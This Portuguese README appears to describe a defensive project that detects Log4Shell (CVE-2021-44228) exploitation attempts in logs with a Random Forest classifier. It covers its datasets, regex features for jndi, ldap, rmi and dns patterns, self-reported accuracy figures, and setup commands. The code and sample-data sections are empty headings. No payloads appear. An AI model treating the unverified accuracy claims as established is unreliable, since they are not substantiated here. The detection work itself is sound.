Log4Shell-vulnerability-CVE-2021-44228-

Este repositório fornece uma análise aprofundada da vulnerabilidade Log4Shell (CVE-2021-44228) e implementa uma abordagem baseada em aprendizado de máquina para detectar tentativas de exploração em dados de log.

Coleta de Dados e Fontes

Conjuntos de Dados Utilizados:

• Logs públicos do Zeek Security Dataset
• Logs de honeypot do DShield
• Simulações de ataque personalizadas usando Metasploit e Kali Linux
• Baixe o conjunto de dados aqui: Logs Log4Shell

Descrição do Conjunto de Dados

• Tamanho Total do Conjunto de Dados: 80 MB
• Dados de Treinamento: 70% (56 MB)
• Dados de Teste: 30% (24 MB)
• Total de Logs: 1.000.000
• Logs Maliciosos: 300.000
• Logs Benignos: 700.000

Exemplo de Conjunto de Dados de Log (log4shell_logs.csv)

Engenharia de Atributos

• Normalização do Log: Converter timestamps, extrair campos
• Extração de Atributos Baseada em Regex: Identificar padrões jndi, ldap, rmi e dns
• Vetorização de Texto: Transformação de atributos baseada em TF-IDF

Modelo de Aprendizado de Máquina para Detecção de Ameaças

• Algoritmo: Classificador Random Forest
• Métricas de Avaliação: Acurácia, Precisão, Recall, F1-score

Código Python para Treinamento do Modelo

Resultados e Análise de Desempenho

Resultados dos Testes:

• Precisão: 98%
• Recall: 95%
• F1-score: 96%
• Taxa de Falso Positivo: 3%

Comparação com Trabalhos Existentes:

• Sistemas SIEM tradicionais baseados em regras possuem 80-85% de acurácia.
• Nossa abordagem baseada em ML atinge 96% de acurácia, melhorando significativamente as taxas de detecção.
• Comparado a métodos baseados em Deep Learning, nosso modelo Random Forest é mais rápido e interpretável, mantendo precisão similar.

Curva Precisão-Revocação

Matriz de Confusão

Conclusão e Trabalhos Futuros

Conclusão:

• O modelo Random Forest detecta eficazmente ameaças Log4Shell com alta precisão.
• A extração de atributos usando reconhecimento de padrões JNDI melhora a acurácia.
• Logs do mundo real podem conter evasão adversarial, exigindo ajustes adicionais.

Trabalhos Futuros:

• Implementar deep learning (modelos LSTM, baseados em Transformer) para detecção de anomalias.
• Integrar pipelines de processamento de logs em tempo real (ex.: stack ELK, Apache Kafka).
• Estender a detecção para outras vulnerabilidades CVE baseadas em log.

Como Usar

1. Clone o repositório:
   root@kitploit:~

   git clone https://github.com/yourgithub/Log4Shell-Threat-Detection.git
   cd Log4Shell-Threat-Detection
   

2. Instale as dependências:
   root@kitploit:~

   pip install -r requirements.txt
   

3. Execute o script de treinamento do modelo:
   root@kitploit:~

   python scripts/model_training.py
   

4. Analise os resultados da detecção na pasta results/.